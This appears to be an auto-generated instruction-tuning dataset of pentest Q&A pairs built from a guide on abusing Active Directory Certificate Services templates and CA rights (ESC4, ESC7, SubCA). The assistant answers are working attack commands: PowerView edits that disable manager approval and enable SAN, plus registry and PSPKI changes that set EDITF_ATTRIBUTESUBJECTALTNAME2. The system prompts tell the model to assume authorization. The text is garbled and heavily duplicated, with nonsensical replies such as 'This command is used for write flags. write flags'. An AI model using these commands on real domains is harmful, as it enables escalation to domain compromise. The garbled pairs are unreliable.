From Windows systems, the Certify (C#) tool can be used to enumerate these sensitive access control entries. At the time of writing (October 21st, 2021) BloodHound doesn't support (yet) enumeration of these access controls. PowerView can be used to modify the template.

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on 4. Edit Certificate Application Policy Extension

Response:
modifyCertTemplate.py -template templateName -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property "pKIExtendedKeyUsage" "$DOMAIN/$USER:$PASSWORD"
``

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

=== Windows

From Windows systems, the Certify (C#) tool can be used to enumerate these sensitive access control entries. At the time of writing (October 21st, 2021) BloodHound doesn't support (yet) enumeration of these access controls. PowerView can be used to modify the template.

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute 4. Edit Certificate Application Policy Extension?

[Assistant]
> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The `-scheme` flag can be used to set whether to use LDAP or LDAPS.

=== Windows

From Windows systems, the [Certify](https://github.com/GhostPack/Certify) (C#) tool can be used to enumerate these sensitive access control entries. At the time of writing (October 21st, 2021) [BloodHound](../../recon/bloodhound/index) doesn't support (yet) enumeration of these access controls. [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) can be used to modify the template.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute 4. Edit Certificate Application Policy Extension?

Response:
> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The `-scheme` flag can be used to set whether to use LDAP or LDAPS.

=== Windows

From Windows systems, the [Certify](https://github.com/GhostPack/Certify) (C#) tool can be used to enumerate these sensitive access control entries. At the time of writing (October 21st, 2021) [BloodHound](../../recon/bloodhound/index) doesn't support (yet) enumeration of these access controls. [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) can be used to modify the template.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `> [!TIP]`?

[Assistant] This command is used for 4. edit certificate application policy extension. 4. Edit Certificate Application Policy Extension

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for 4. edit certificate application policy extension. 4. Edit Certificate Application Policy Extension


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about 2. Disable Manager Approval Requirement

[Assistant] Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity tempalteName -XOR @{'mspki-enrollment-flag'=2} -Verbose

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about 2. Disable Manager Approval Requirement

Response: Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity tempalteName -XOR @{'mspki-enrollment-flag'=2} -Verbose


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do 2. Disable Manager Approval Requirement

[Assistant] Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity tempalteName -XOR @{'mspki-enrollment-flag'=2} -Verbose

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do 2. Disable Manager Approval Requirement

Response: Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity tempalteName -XOR @{'mspki-enrollment-flag'=2} -Verbose


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 3. Disable Authorized Signature Requirement

[Assistant] Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-ra-signature'=0} -Verbose

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of 3. Disable Authorized Signature Requirement

Response: Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-ra-signature'=0} -Verbose


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 3. Disable Authorized Signature Requirement?

[Assistant] Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-ra-signature'=0} -Verbose

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform 3. Disable Authorized Signature Requirement?

Response: Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-ra-signature'=0} -Verbose


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 4. Enable SAN Specification

[Assistant] Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR @{'mspki-certificate-name-flag'=1} -Verbose

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of 4. Enable SAN Specification

Response: Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR @{'mspki-certificate-name-flag'=1} -Verbose


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for 4. Enable SAN Specification?

[Assistant] Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR @{'mspki-certificate-name-flag'=1} -Verbose

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for 4. Enable SAN Specification?

Response: Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR @{'mspki-certificate-name-flag'=1} -Verbose


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe 5. Edit Certificate Application Policy Extension in the context of penetration testing

[Assistant]
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose
```

:::

> [!WARNING]
>
> If sensitive access entries are identified, creativity will be the best ally.
>
> Currently, the best resources for manually abusing this are
>
> * Abusing weak ACL on Certificate Templates (by daemon0cc0re)
> * AD-CS The Certified Pre Owned Attacks (by HTTP418)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe 5. Edit Certificate Application Policy Extension in the context of penetration testing

Response:
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose
```

:::

> [!WARNING]
>
> If sensitive access entries are identified, creativity will be the best ally.
>
> Currently, the best resources for manually abusing this are
>
> * Abusing weak ACL on Certificate Templates (by daemon0cc0re)
> * AD-CS The Certified Pre Owned Attacks (by HTTP418)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on 5. Edit Certificate Application Policy Extension

[Assistant]
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose
```

:::

> [!WARNING]
>
> If sensitive access entries are identified, creativity will be the best ally.
>
> Currently, the best resources for manually abusing this are
>
> * Abusing weak ACL on Certificate Templates (by daemon0cc0re)
> * AD-CS The Certified Pre Owned Attacks (by HTTP418)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on 5. Edit Certificate Application Policy Extension

Response:
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose
```

:::

> [!WARNING]
>
> If sensitive access entries are identified, creativity will be the best ally.
>
> Currently, the best resources for manually abusing this are
>
> * Abusing weak ACL on Certificate Templates (by daemon0cc0re)
> * AD-CS The Certified Pre Owned Attacks (by HTTP418)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Access controls - Certificate Authority (ESC7) work?

[Assistant]
There are two attacks paths for this scenario:

1. If an attacker gains control over a principal that's able to edit the CA server registries (e.g. local admin, or ManageCA?), and is able to restart the CertSrv service on the server, he can make the CA vulnerable to ESC6 and exploit that
2. Alternatively, if an attacker gains control over a principal that has the ManageCA right over the CA object, he can remotely obtain the ManageCertificates right and with those two rights combined, approve pending certificate requests, subverting the "CA certificate manager approval" protection (referred to as PREVENT4 in the research whitepaper).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Access controls - Certificate Authority (ESC7) work?

Response:
There are two attacks paths for this scenario:

1. If an attacker gains control over a principal that's able to edit the CA server registries (e.g. local admin, or ManageCA?), and is able to restart the CertSrv service on the server, he can make the CA vulnerable to ESC6 and exploit that
2. Alternatively, if an attacker gains control over a principal that has the ManageCA right over the CA object, he can remotely obtain the ManageCertificates right and with those two rights combined, approve pending certificate requests, subverting the "CA certificate manager approval" protection (referred to as PREVENT4 in the research whitepaper).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Access controls - Certificate Authority (ESC7)

[Assistant]
There are two attacks paths for this scenario:

1. If an attacker gains control over a principal that's able to edit the CA server registries (e.g. local admin, or ManageCA?), and is able to restart the CertSrv service on the server, he can make the CA vulnerable to ESC6 and exploit that
2. Alternatively, if an attacker gains control over a principal that has the ManageCA right over the CA object, he can remotely obtain the ManageCertificates right and with those two rights combined, approve pending certificate requests, subverting the "CA certificate manager approval" protection (referred to as PREVENT4 in the research whitepaper).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Access controls - Certificate Authority (ESC7)

Response:
There are two attacks paths for this scenario:

1. If an attacker gains control over a principal that's able to edit the CA server registries (e.g. local admin, or ManageCA?), and is able to restart the CertSrv service on the server, he can make the CA vulnerable to ESC6 and exploit that
2. Alternatively, if an attacker gains control over a principal that has the ManageCA right over the CA object, he can remotely obtain the ManageCertificates right and with those two rights combined, approve pending certificate requests, subverting the "CA certificate manager approval" protection (referred to as PREVENT4 in the research whitepaper).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Access controls - ESC7 - Exposing to ESC6

[Assistant]
If sufficient rights are obtained over the Certificate Authority (ManageCA?, local admin account, ...) an attacker could remotely edit the registries, enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute, restart the CertSvc service, and abuse ESC6 (CA configuration abuse).

::: tabs

=== UNIX-like

The attack can be carried out from UNIX-like systems as follows.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Access controls - ESC7 - Exposing to ESC6

Response:
If sufficient rights are obtained over the Certificate Authority (ManageCA?, local admin account, ...) an attacker could remotely edit the registries, enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute, restart the CertSvc service, and abuse ESC6 (CA configuration abuse).

::: tabs

=== UNIX-like

The attack can be carried out from UNIX-like systems as follows.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Access controls - ESC7 - Exposing to ESC6?

[Assistant]
If sufficient rights are obtained over the Certificate Authority (ManageCA?, local admin account, ...) an attacker could remotely edit the registries, enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute, restart the CertSvc service, and abuse ESC6 (CA configuration abuse).

::: tabs

=== UNIX-like

The attack can be carried out from UNIX-like systems as follows.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Access controls - ESC7 - Exposing to ESC6?

Response:
If sufficient rights are obtained over the Certificate Authority (ManageCA?, local admin account, ...) an attacker could remotely edit the registries, enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute, restart the CertSvc service, and abuse ESC6 (CA configuration abuse).

::: tabs

=== UNIX-like

The attack can be carried out from UNIX-like systems as follows.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of query flags

[Assistant] reg.py "$DOMAIN"/"$USER":"$PASSWORD"@$"ADCS_IP" query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA-NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' -v editflags

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: reg.py "$DOMAIN"/"$USER":"$PASSWORD"@$"ADCS_IP" query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA-NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' -v editflags


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for query flags

[Assistant] reg.py "$DOMAIN"/"$USER":"$PASSWORD"@$"ADCS_IP" query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA-NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' -v editflags

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for query flags

Response: reg.py "$DOMAIN"/"$USER":"$PASSWORD"@$"ADCS_IP" query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA-NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' -v editflags


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is write flags?

[Assistant]
reg.py "$DOMAIN"/"$USER":"$PASSWORD"@$"ADCS_IP" add-keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA-NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' -v editflags -vd NEW_VALUE
``

=== Windows

From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object.

Then, PSPKI (PowerShell) can be used to modify the CA object (RSAT is needed on the machine where PSPKI is run).

``powershell
Certify.exe cas

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
reg.py "$DOMAIN"/"$USER":"$PASSWORD"@$"ADCS_IP" add-keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA-NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' -v editflags -vd NEW_VALUE
``

=== Windows

From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object.

Then, PSPKI (PowerShell) can be used to modify the CA object (RSAT is needed on the machine where PSPKI is run).

``powershell
Certify.exe cas


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through write flags

[Assistant]
reg.py "$DOMAIN"/"$USER":"$PASSWORD"@$"ADCS_IP" add-keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA-NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' -v editflags -vd NEW_VALUE
``

=== Windows

From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object.

Then, PSPKI (PowerShell) can be used to modify the CA object (RSAT is needed on the machine where PSPKI is run).

``powershell
Certify.exe cas

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
reg.py "$DOMAIN"/"$USER":"$PASSWORD"@$"ADCS_IP" add-keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA-NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' -v editflags -vd NEW_VALUE
``

=== Windows

From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object.

Then, PSPKI (PowerShell) can be used to modify the CA object (RSAT is needed on the machine where PSPKI is run).

``powershell
Certify.exe cas


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on write flags

[Assistant]
=== Windows

From Windows systems, the [Certify](https://github.com/GhostPack/Certify) (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object.

Then, [PSPKI](https://github.com/PKISolutions/PSPKI) (PowerShell) can be used to modify the CA object ([RSAT](https://docs.microsoft.com/fr-fr/troubleshoot/windows-server/system-management-components/remote-server-administration-tools) is needed on the machine where PSPKI is run).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
=== Windows

From Windows systems, the [Certify](https://github.com/GhostPack/Certify) (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object.

Then, [PSPKI](https://github.com/PKISolutions/PSPKI) (PowerShell) can be used to modify the CA object ([RSAT](https://docs.microsoft.com/fr-fr/troubleshoot/windows-server/system-management-components/remote-server-administration-tools) is needed on the machine where PSPKI is run).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Windows`?

[Assistant] This command is used for write flags. write flags

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== Windows`?

Response: This command is used for write flags. write flags


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Get the current value of EDITF_ATTRIBUTESUBJECTALTNAME2 and modify it with SetConfigEntry?

[Assistant]
$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "CA.domain.local"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is Get the current value of EDITF_ATTRIBUTESUBJECTALTNAME2 and modify it with SetConfigEntry?

Response:
$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "CA.domain.local"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Get the current value of EDITF_ATTRIBUTESUBJECTALTNAME2 and modify it with SetConfigEntry

[Assistant]
$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "CA.domain.local"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Get the current value of EDITF_ATTRIBUTESUBJECTALTNAME2 and modify it with SetConfigEntry

Response:
$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "CA.domain.local"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)

[Assistant]
certutil.exe -config "CA.domain.local\CA" -getreg "policy\EditFlags"
``

If RSAT is not present, it can installed like this:

`powershell
DISM.exe /Online /Get-Capabilities
DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~0.0.1.0
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)

Response:
certutil.exe -config "CA.domain.local\CA" -getreg "policy\EditFlags"
``

If RSAT is not present, it can installed like this:

`powershell
DISM.exe /Online /Get-Capabilities
DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~0.0.1.0
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)

[Assistant]
certutil.exe -config "CA.domain.local\CA" -getreg "policy\EditFlags"
``

If RSAT is not present, it can installed like this:

`powershell
DISM.exe /Online /Get-Capabilities
DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~0.0.1.0
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)

Response:
certutil.exe -config "CA.domain.local\CA" -getreg "policy\EditFlags"
``

If RSAT is not present, it can installed like this:

`powershell
DISM.exe /Online /Get-Capabilities
DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~0.0.1.0
``

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the If syntax for check after setting the flag (editf_attributesubjectaltname2 should appear in the output)?

[Assistant] If RSAT is not present, it can installed like this:

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the If syntax for check after setting the flag (editf_attributesubjectaltname2 should appear in the output)?

Response: If RSAT is not present, it can installed like this:


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)?

[Assistant] If RSAT is not present, it can installed like this:

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)?

Response: If RSAT is not present, it can installed like this:


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `If RSAT is not present, it can installed like this:`?

[Assistant] This command is used for check after setting the flag (editf_attributesubjectaltname2 should appear in the output). Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `If RSAT is not present, it can installed like this:`?

Response: This command is used for check after setting the flag (editf_attributesubjectaltname2 should appear in the output). Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Access controls - ESC7 - Abusing SubCA in the context of penetration testing

[Assistant]
When it is not possible to restart the CertSvc service to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute, the SubCA built-in template can be used, along with a ManageCA right.

The SubCA template is vulnerable to the ESC1 attack, but only Domain Admins and Enterprise Admins can enroll in it. If a standard user tries to enroll in it, he will encounter a CERTSRV_E_TEMPLATE_DENIED errror and will obtain a request ID with a corresponding private key.

This ID can be used by a user with the ManageCA and ManageCertificates rights to validate the failed request anyway. The user can then retrieve the issued certificate by specifying the same ID.

::: tabs

=== UNIX-like

If the attacker only has the ManageCA permission, Certipy (Python) can be used to enumerate access rights over the CA object (how to enumerate) and modify some CA's attributes like the officers list (an officer is a user with the ManageCertificates right). The attacker could also enable or disable certificate templates.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Access controls - ESC7 - Abusing SubCA in the context of penetration testing

Response:
When it is not possible to restart the CertSvc service to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute, the SubCA built-in template can be used, along with a ManageCA right.

The SubCA template is vulnerable to the ESC1 attack, but only Domain Admins and Enterprise Admins can enroll in it. If a standard user tries to enroll in it, he will encounter a CERTSRV_E_TEMPLATE_DENIED errror and will obtain a request ID with a corresponding private key.

This ID can be used by a user with the ManageCA and ManageCertificates rights to validate the failed request anyway. The user can then retrieve the issued certificate by specifying the same ID.

::: tabs

=== UNIX-like

If the attacker only has the ManageCA permission, Certipy (Python) can be used to enumerate access rights over the CA object (how to enumerate) and modify some CA's attributes like the officers list (an officer is a user with the ManageCertificates right). The attacker could also enable or disable certificate templates.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Access controls - ESC7 - Abusing SubCA during a pentest?

[Assistant]
When it is not possible to restart the CertSvc service to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute, the SubCA built-in template can be used, along with a ManageCA right.

